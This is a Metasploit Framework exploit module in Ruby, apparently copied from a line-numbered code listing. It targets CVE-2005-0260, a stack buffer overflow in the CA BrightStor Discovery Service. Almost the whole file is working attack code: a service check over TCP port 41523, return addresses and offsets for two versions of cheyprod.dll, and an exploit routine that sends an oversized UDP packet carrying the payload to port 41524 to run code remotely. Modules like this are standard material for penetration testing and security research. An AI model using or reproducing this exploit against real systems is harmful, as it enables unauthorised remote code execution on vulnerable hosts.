1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 |
## # $Id: discovery_udp.rb 9263 2010-05-09 17:52:51Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Udp def initialize(info = {}) super(update_info(info, 'Name' => 'CA BrightStor Discovery Service Stack Buffer Overflow', 'Description'=> %q{ This module exploits a vulnerability in the CA BrightStor Discovery Service. This vulnerability occurs when a large request is sent to UDP port 41524, triggering a stack buffer overflow. }, 'Author' => [ 'hdm', 'patrick' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 9263 $', 'References' => [ [ 'CVE', '2005-0260'], [ 'OSVDB', '13613'], [ 'BID', '12491'], [ 'URL', 'http://www.idefense.com/application/poi/display?id=194&type=vulnerabilities'], ], 'Privileged' => true, 'Payload'=> { 'Space'=> 2048, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Targets'=> [ [ 'cheyprod.dll 12/12/2003', { 'Platform' => 'win', 'Ret'=> 0x23808eb0, # call to edi reg 'Offset' => 968, }, ], [ 'cheyprod.dll 07/21/2004', { 'Platform' => 'win', 'Ret'=> 0x2380a908, # call edi 'Offset' => 970, }, ], ], 'DisclosureDate' => 'Dec 20 2004', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(41524) ], self.class) end def check # The first request should have no reply csock = Rex::Socket::Tcp.create( 'PeerHost'=> datastore['RHOST'], 'PeerPort'=> 41523, 'Context' => { 'Msf'=> framework, 'MsfExploit' => self, }) csock.put('META') x = csock.get_once(-1, 3) csock.close # The second request should be replied with the host name csock = Rex::Socket::Tcp.create( 'PeerHost'=> datastore['RHOST'], 'PeerPort'=> 41523, 'Context' => { 'Msf'=> framework, 'MsfExploit' => self, }) csock.put('hMETA') y = csock.get_once(-1, 3) csock.close if (y and not x) return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def exploit connect_udp print_status("Trying target #{target.name}...") buf = rand_text_english(4096) # Target 0: # # esp @ 971 # ret @ 968 # edi @ 1046 # end = 4092 buf[target['Offset'], 4] = [ target.ret ].pack('V') buf[1046, payload.encoded.length] = payload.encoded udp_sock.put(buf) udp_sock.recvfrom(8192) handler disconnect_udp end end |